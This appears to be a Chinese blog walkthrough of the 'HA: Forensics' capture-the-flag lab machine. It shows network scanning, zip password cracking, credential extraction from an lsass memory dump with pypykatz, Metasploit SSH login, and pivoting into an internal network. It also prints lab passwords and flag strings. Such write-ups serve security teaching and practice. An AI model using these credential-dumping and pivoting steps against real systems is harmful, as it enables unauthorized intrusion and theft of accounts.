HA: Forensics靶机渗透测试

最新推荐文章于 2024-05-11 11:36:26 发布
最新推荐文章于 2024-05-11 11:36:26 发布
阅读量1.5k 收藏 3
点赞数 3
分类专栏： # HA系列靶机
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Huangshanyoumu/article/details/116044996
版权

文章目录

靶机说明：

哈：法医学是实验室的中级水平，它能让你在网络法医调查中亲身体验。这个实验室完全致力于网络法医调查的方法和工具，并且有各种技术可以找到的证据。由于这是一个捕获旗帜的过程，因此需要注意的是，这不是一个根本性的挑战，而是找到所有旗帜的主要动机。
旗数：4
目标：找到所有4个标志（获取根不是目标）

一、信息收集

1.主机发现
arp-scan -l

发现靶机 ip：192.168.1.201
在这里插入图片描述

2.端口扫描
nmap -A -p- 192.168.1.201

在这里插入图片描述
发现靶机开启了 80 端口，Apache 服务；22 端口，ssh 服务

二、漏洞挖掘

1.访问靶机 web 服务

在这里插入图片描述
发现一些关于指纹的图片，点击右上角 get flag，发现作者整活，未发现其他有用信息

2.使用 dirb 进行目录扫描
dirb http://192.168.1.201

在这里插入图片描述
发现 /images/ 目录，见名知意应该是存放图片的目录
访问该路径发现若干图片，其中有名为 DNA 和 fingerprint（指纹）的可疑图片，经过测试发现 DNA 没有有用信息

3.使用 exiftool 提取数据
apt-get install exiftool    #kali并未自带此工具，使用该命令更改
exiftool fingerprint.jpg

exiftool fingerprint.jpg
发现 flag1
Flag:1 {bc02d4ffbeeab9f57c5e03de1098ff31}

4.使用 dirb 扫描 txt 文件
dirb http://192.168.1.201 -X .txt

在这里插入图片描述
发现在网站根目录下有个 tips.txt 文件
访问该文件（这里我换了网络环境，靶机ip为192.168.2.192）在这里插入图片描述

发现一个路径一个 zip 压缩文件
1)访问 http://192.168.2.192/flag.zip 进行下载 zip 文件，解压时发现需要密码在这里插入图片描述

2)访问 http://192.168.2.192/igolder 发现该路径下有 clue.txt 文件，打开发现 PGP 加密
在这里插入图片描述

-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: BCPG C# v1.6.1.0

lQOsBF9sr70BCACvH5Vs2Lp9nyVIbVk4yraUmxDBxPJNitlU/IqcR2d+UDEORbDl
UClLXSqapjBFuu24p86SIcv/1VktRh79lnL5j4uKSAEuI/t6SJW4hlfovVBndUvT
X61w6TRJlLq5AsLOS38PWpIgL1ECIqliwNfCjjlvQd8xm/C9BV1lqM71JYtW34ST
XsKzxomVqGtWvrzs/tFege20z12JtqgPmqGApXzNjI4y7iH0vvVS8nCF58nwyjoH
wbx6EXk002hDe0/W7tsCGhp3gU5wzkUy4kfBfVrLp0/23kA/k4iJvlMPMAeQoJPx
AymXmXEKlp+igBrBicBw68SZgLAQhg8ZO2ybABEBAAH/AwMC/MDF76NvTu1gM8Y7
xjKap2L3OY8xeOoAeMQUueabuTP2rl7jB6YfsEcQj4xDjz0SBXIQxP0PziHpXTk3
v5FlH5nhSWZI6OgN0HF6rdjByKT4CNlkt7IVIPEQc7IidQP5K1/YhbghysyYHyBH
3TRAEwJszcjj6TsAOM1mpLXlPweM1sC3ms8xoFVSipPcHviNcQq58zLpGcWvmmuc
ZfqrRBqfpU/wZEmEvcDW1FOCvq/Bqo1psPOXYfI+ul7C0MLObmzi/u2p7EJLwf2E
tGBJ++wLdProHJHovp0WlQSHFamOWmM5p9SAq7lMegvIn3NHe0ZQS2agjBzNiMW5
LK/dZ0i1lX1SSRNNOlLC+Tf/v6bS8gAD+WSGsYEITPcRP2OpCiCBoa4d7GsK7nyF
RHIngmJrp5g1agayG92ahUFRLqQ7KGa+hu3N8/pM+x/dNH1Uw/jhKHsacpgBBCPf
Zs/NZlcMbCI0TD6CFKe2QCEnOW6iLlOEgV2ptEPJLkinaFZ8BEf5HYHUhW1CqwTZ
otvsmzkijYDvaV77zylVqb9gMJelVNWLZG3fcw+eCGF1wBBxno99xcxEgJpzdOeH
TnU3yQ1JllZb/0jQ7vBq22hrOTYo9iRBe/XOnUj1+J8QVynYLcgvEx8I8/tXnfNM
/bQkwbEohnTzklDWWKrqBXlXOTpBKZL4bk+k0U5wMpOQOkCgiHTMmklmAV/+0S/G
5EDrNNdCDCIdtXtAHJjIUtVivNNyQIgVuImYbhbXcSWziX0IT0QkRGSz8a+/MKl3
0yItTNXi/KpnOt+xfvjavzPscXyKyt7+82feOsl4f/jDFZW6P4NifjWGeP+9Q8FA
MPPZ/xDjhIgBvsqLpGDEuYp7VTVxWWIUtzao7P4WzLQAiQEcBBABAgAGBQJfbK+9
AAoJEF0YY4bPiiBW83YH/jU75ZqnBG3yJGOYa7qapXIPc/Dg6jc1FuivWlphZs8C
PSog9kqEqlY3k5OY03YBMIRgWMI2UyCgiSPcgwF8bGXm8hPQgL0QN5cFX7uubH9S
ofeM+SyRRSpuXtcWgljHe6e/ABR533bwLdk6YyHf4YyCxCDxWZRdI/FyoRYrh7q4
CTfgVJoiem1P9sViva28IBJ+H1ctyioWVEkKz1/PW9NBYy9mTbmVlwdWW1IzXRiS
OcXu0tW1rawJ/z5SwCwjKZxvSm2Hfk9eguEojbfPIoXauNRH00u4tEHO6YjD54ZC
DxpZfSHSCsOWEfOAA5EO+uDGSY4+WB6ihKmCV+i68Jc=
=KoPg
-----END PGP PRIVATE KEY BLOCK-----



-----BEGIN PGP MESSAGE-----
Version: BCPG C# v1.6.1.0

hQEMA10YY4bPiiBWAQf8DaEoVUWpzj5+3WMZcOhjfXo6Hk+MKD5TLWy5XndaEXRZ
3+aUQuECr88LG83BzmAS1MITHf7xifx4aiqgeM6bGILlvseP9W2Fmv9E5KOVLUYI
T8V3jINwmNg7FinwuYlT2ld2yU1qMwiEZ8GPTK4U90WSZh+/dYnKTVKxjdEZXlj9
FF42BygUxjJgEDFQi0HhUb7AX+tYQIQV0p5DZcTETZweyM9OBcwuhwzspjKp3Rz9
zFcnnCEZ4+JbdXTcXPD9cTBHJhWk01lclg+XR4v572HilznzWFutqcWrMuhBO0UZ
q0v1MOG03o8MN2VysMgbk8gEdOs+GE8fPBtsKqS5tsmhcwZR3QA/BctqAT+IhYtI
s7j0pd+mTG+zvQu5B41isicBb0yLA80YVlfWjjUmZAAF4oowPKJWY9CQIap39Ked
cbLU2+CI3JJf7JZvcZK4KGeuYgpRXU8Jvu3BHSEu1zCHGgieYRW254OJYZcJYFx6
v+6OPq+UNCBbhAFRjJpkOigA+GgH5lGf0vRYM/gz5vA4MDRrEojFs9DIwATbflqN
QOs=
=Y9OD
-----END PGP MESSAGE-----
5.PGP解密

访问 https://www.igolder.com/PGP/decryption/ 进行在线解密
在这里插入图片描述解密后发现提示：
如果法医忘记了他的密码，这个提示可以帮助他，其中密码是6个字符长，开始3个字符是单词“for”，结束3个字符是数字

6.破解密码

1)使用 crunch 或脚本生成密码本

crunch 6 6 -t for%%% -o dict.txt

2)使用 fcrackzip 利用密码本破解密码

fcrackzip -u -D -p dict.txt flag.zip

在这里插入图片描述

3)使用密码解密

unzip flag.zip
for007

在这里插入图片描述
解压后得到 flag.pdf、lsass.DMP 文件
打开 flag.pdf 得到 flag2
Flag:2 {4a3232c59ecda21ac71bebe3b329bf36}
在这里插入图片描述

7.分析 lsass.DMP 文件

1)使用 pypykatz 检查内存转储文件

pypykatz lsa minidump ./lsass.DMP

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
发现两个明文用户名和 NTML 加密的密码，发现其密码相同
在网站 https://www.cmd5.com/ 对其进行解密
得到密码 Password@1

三、使用 msfconsole 进行后渗透

1.kali 打开 msfconsole ，search ssh/ssh_login
msfconsole
msf> search ssh/ssh_login

在这里插入图片描述

2.利用该模块
use 0
show options
set rhosts 192.168.1.111    #靶机IP地址，这里我右换了个网络QAQ
set username jasoos
set password Password@1
run

3.查看当前所有·会话信息
sessions -l

在这里插入图片描述

4.升级会话
sessions -u 1

在这里插入图片描述

5.进入会话并查看网络连接
sessions 2
ifconfig

在这里插入图片描述
发现有多个网络连接其中有一个内部 ip 172.17.0.1，我们不能从外部直接进行访问考虑使用靶机作为跳板

6.横向渗透

1)使用 exit 退出当前 meterpreter shell
再次升级 shell

exit
sessions -u 1

在这里插入图片描述
2)添加路由

use post/multi/manage/autoroute
set session 3
run

在这里插入图片描述
3)探测主机

use post/multi/gather/ping_sweep
set session 3
set rhosts 172.17.0.0/24
run

在这里插入图片描述
发现 127.17.0.1、127.17.0.2
4)端口扫描

use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2
set ports 1-1000
run

在这里插入图片描述
发现 21 端口（ftp）开放
5)测试 ftp 是否可匿名登陆

use auxiliary/scanner/ftp/anonymous
set rhosts 172.17.0.2
run

在这里插入图片描述
发现可以匿名登陆

6)进入 ftp，查看文件

sessions 3
shell
python -c "import pty;pty.spawn('/bin/bash')"
ftp 172.17.0.2
anonymous
ls
cd pub
ls

在这里插入图片描述
发现有 saboot.001 文件，使用 get 获取

get saboot.001

在这里插入图片描述

7)使用 python 简单服务器进行传输文件

python -m SimpleHTTPServer 8888

在这里插入图片描述
8)kali 获取文件

wget http://192.168.1.111:8888/saboot.001

在这里插入图片描述
9)分析文件
在这里插入图片描述
发现该文件是个磁盘镜像

四、磁盘镜像取证

1.打开 kali 自带工具 autopsy

在这里插入图片描述
在这里插入图片描述

2.火狐访问 http://localhost:9999/autopsy

1)新建任务
在这里插入图片描述
2)填写信息
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
重新访问该工具服务
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
加载磁盘镜像后发现了 flag3.txt、 creads.txt：
Flag:3 {8442460f48338fe60a9497b8e0e9022f}
amVlbmFsaWlzYWdvb2RnaXJs
发现 creads.txt 中字符疑似 base64 加密，进行解密
在这里插入图片描述
得到明文 jeenaliisagoodgirl 疑似用户密码

五、提权

1.回到靶机shell，查看所有用户

在这里插入图片描述
发现 forensic 用户，尝试使用 ssh 进行连接

ssh forensic@192.168.1.111
yes
jeenaliisagoodgirl

在这里插入图片描述

2.查看可 sudo 执行的命令
sudo -l

在这里插入图片描述
发现可以执行所有命令

3.直接提权

在这里插入图片描述

荒山有木名梧桐
关注
  • 3
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
FoundationsOfDigitalForensics：Digital Forensics基础的补充文件
02-20
数字取证基础数字取证基础的补充文件
violent-python:有关渗透测试，Web，网络和无线设备利用的脚本和代码示例
05-11
第1章和第2章所有关于渗透测试和了解网络的信息。 同样，蛮力也被使用了。 前两章包含用于执行以下操作的脚本： 字典攻击蛮力密码哈希比较打开安全的zip文件端口扫描器SSH僵尸网络FTP攻击复制Conficker攻击第三章和...
看完这篇 教你玩转渗透测试靶机——Metasploitable2
热门推荐
Aluxian_的博客
03-09 2万+
Metasploitable2渗透测试详解Metasploitable2靶机介绍：Metasploitable2靶机下载：Metasploitable2靶机安装：Metasploitable2靶机漏洞详解： Metasploitable2靶机介绍： Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统，本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware。当虚拟系统启动之后，使用用户名：msfadmin 和密码msfadmin登陆 Metasploita
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)
qq_51577576的博客
03-14 8044
[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 从信息收集到拿到低权限，最后提权获取最高权限，详细解读
最全看完这篇 教你玩转渗透测试靶机Vulnhub——Mr-Robot 1，2024年最新软件测试开发应该了解的Binder原理
最新发布
2401_84563933的博客
05-11 379
vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VMware或者Oracle VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。PS:需要获得root权限找到flagIntermediate（中级的）
物理机访问虚拟机搭建的靶场127.0.0.1
m0_62177883的博客
07-27 2054
方法如下在虚拟机中，找到开始，输入cmd按回车，出现一个黑框，在里面输入ipconfig回车，然后找到IPV4后面的一串数字，然后在物理机的浏览器上直接输入后面的IP地址即可访问虚拟机的靶场。在物理机上搭建pupstudy一般都会遇到端口号被占用的情况，虚拟机搭建靶场就很轻松，基本上不会遇到什么特殊的问题。虚拟机的靶场搭建好以后，在物理机上是可以直接访问的。...
看完这篇 教你玩转渗透测试靶机vulnhub——DC2
Aluxian_的博客
03-22 3933
Vulnhub靶机DC2渗透测试详解Vulnhub靶机介绍：Vulnhub靶机下载： Vulnhub靶机介绍： vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。 Vulnhub靶机下载： 官网地址： ...
渗透测试学习之靶机DC-1
xdbzdgx的博客
11-05 2767
1.下载安装靶机 下载链接为DC: 1 ~ VulnHub，里面有三种下载方式任选一种即可，下载后解压为.ova文件，该格式可直接在VMware上打开，如果显示打开失败，依照指示重试即可成功，如果仍无法成功可百度、谷歌解决。 在VMware加载成功之后显示如下界面： 默认状态我们是打不开该系统的，也不知道账号密码的，毕竟我们的目的就是在不知道账号密码的情况下拿到root权限，找到flag。 注意，这里建议把DC-1靶机的网络链接模式改为NAT模式。 本文使用的攻击机为kali（安装在VMwa.
DC-1靶机渗透（教程以及思路）
菜菜的博客
10-20 2905
一般来说这样的端口，我会先从80端口开始，看是否存在登录页面，是否存在弱口令，是否存在sql注入，dirb遍历目录，查看是否有可疑的目录，使用指纹识别查看cms版本是否存在漏洞。我这里因为靶机出了点问题，连不进去了，一般来说那个网站的密码都会是在库里面，有一个name，还有一个password，用来进行登入网站后台。因为是Linux那么我们接下来输入的命令也得是Linux的，ls查看一下有什么文件，发现有一个flag1.txt，查看。发现开启了4个端口，分别是22，80，111，45186。
forensics:法医公用事业
07-03
用于取证和数据恢复和监控的 Python 工具操作快速说明目录树行者获取setup_settings脚本。 美元。 设置设置运行walker.py 。 $ bin/walker.py --helpIP监视器脚本帮助$ bin/monitor_ip.py --help 在数据收集模式下...
ansible-role-forensics:在系统上安装和配置取证
03-28
的GitHub GitLab 质量资料下载版本该示例摘自molecule/resources/converge.yml并在每次推送，拉动请求和释放时进行了测试。 ---- name : converge hosts : all become : yes gather_facts : yes roles : - role : ...
Forensics-CheatSheets:终端取证秘籍
05-19
法医备忘单 这些取证秘籍的目的是帮助取证分析师记住取证任务中经常使用的命令，并且这些命令在Kali Linux中可用。 要求 需要安装 如何使用 为了使用备忘单，此存储库中的备忘单需要进入〜/ .cheat /目录。...
【内网渗透】记一次靶机实战
kali_Ma的博客
11-24 1538
靶机难度属于中等靶机水平，全文思路就是信息收集，使用nmap或者masscan进行端口扫描，访问web页面，发现提示，接着使用wfuzz进行指定路径fuzz。然后找到py脚本，接着进行脚本分析，发现脚本存在的漏洞。构造poc然后进行反弹shell，反弹shell之后，发现存在另一个新的脚本，存在密码加密方式和密码本。进行解密，解密之后使用ssh进行远程登录。使用sudo -l发现xx路径下的python脚本拥有root权限，接着进行移动该目录写入提权语法成功提权。
网安实训（二）| 利用Acunetix进行漏洞扫描
朔方鸟的博客
02-16 6250
本实验学习Acunetix软件进行漏洞扫描的方法。
从零开始：girlfriend靶机渗透攻略
Panci_的博客
09-14 337
什么是SSH服务，HTTP服务，X-forward-for又是什么？linux常用命令……
渗透测试-靶机打靶思路与方法
lza20001103的博客
08-18 4231
渗透测试-靶机打靶思路与方法 文章目录渗透测试-靶机打靶思路与方法一．对靶机进行信息收集1.首先对目标存活靶机发起嗅探：2.对目标主机开放端口及服务发起探测3.对非web端口的服务发起迅速的嗅探，尝试使用nday进行攻击4.开始进行web端口外部打点尝试二．一些靶机打点的工具和知识三．进行linux下的提权四．总结 一．对靶机进行信息收集 1.首先对目标存活靶机发起嗅探： ①sudo arp-scan -l 针对网卡发起扫描存活主机 ②arping扫描：for i in (seq 1 254);do arp
综合靶机渗透测试解析
w_j_x_123的博客
05-30 550
7.root家目录下存在一个***.txt文件，文件名+文件内容当作flag提交，用+号连接（例：***.txt+qwoingqwoighoqisfhoasf）7.root家目录下存在一个***.txt文件，文件名+文件内容当作flag提交，用+号连接（例：***.txt+qwoingqwoighoqisfhoasf）6.在kali中搜索该提权漏洞，并将漏洞的披露时间当作flag值提交.（例：2023-05-26）；1. 扫描目标靶机将靶机开放的所有端口，当作 flag 提交（例：21,22,23）
对DC-1靶机进行渗透测试
zll___的博客
03-11 953
对DC-1靶机进行渗透测试
Vulhub docker 搭建靶机及其访问
wing_7的博客
10-03 1864
本次docker容器中ActiveMQ 的版本是ActiveMQ 5.11.1，环境运行后，将监听61616和8161两个端口。8161是Web管理页面端口，本漏洞就出现在web控制台中。访问http://your-ip:8161 看到web管理页面，说明环境成功运行。Docker Compose是 docker 提供的一个命令行工具，用来定义和运行由多个容器组成的应用。使用 compose，我们可以通过 YAML 文件声明式的定义应用程序的各个服务，并由单个命令完成应用的创建和启动。
x-ways forensics: 综合取证分析工具
10-19
x-ways forensics是一款综合取证分析工具，用于数字取证和计算机取证。该工具提供了一系列功能，用于收集、分析和呈现证据，以帮助调查人员在犯罪调查、公司安全审计等领域进行数字取证工作。 x-ways forensics具有高度灵活性和可定制性，可应用于各种不同类型的取证任务。它可以通过扫描存储介质（如硬盘、移动存储设备）来收集电子证据，通过恢复被删除文件、提取元数据和日志等方式获取隐藏的信息。该工具支持各种文件系统和操作系统，包括Windows、Linux等，以便广泛适用于多种取证需求。 该工具集成了一系列功能强大的分析工具，可帮助用户快速找到关键证据。它提供了强大的搜索功能，可以根据关键词、文件类型和文件属性等条件进行搜索，并生成相应的搜索报告。此外，它还具备强大的分析能力，可提供文件和文件夹的完整视图，以及图形化的展示方式，以方便理解和呈现证据。 x-ways forensics还支持批量处理和自动化功能，可以帮助用户提高工作效率。用户可以创建脚本和预设，以系统化地进行取证分析过程，减少人为错误的可能性。它还提供了生成详细报告的功能，以便将取证结果进行整理和呈现给相关利益相关方，如法庭和调查人员。 总而言之，x-ways forensics是一款功能强大、灵活可定制的综合取证分析工具，广泛应用于数字取证和计算机取证领域。它的各种功能和工具可以帮助调查人员有效地收集、分析和呈现电子证据，以支持犯罪调查和安全审计等工作。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值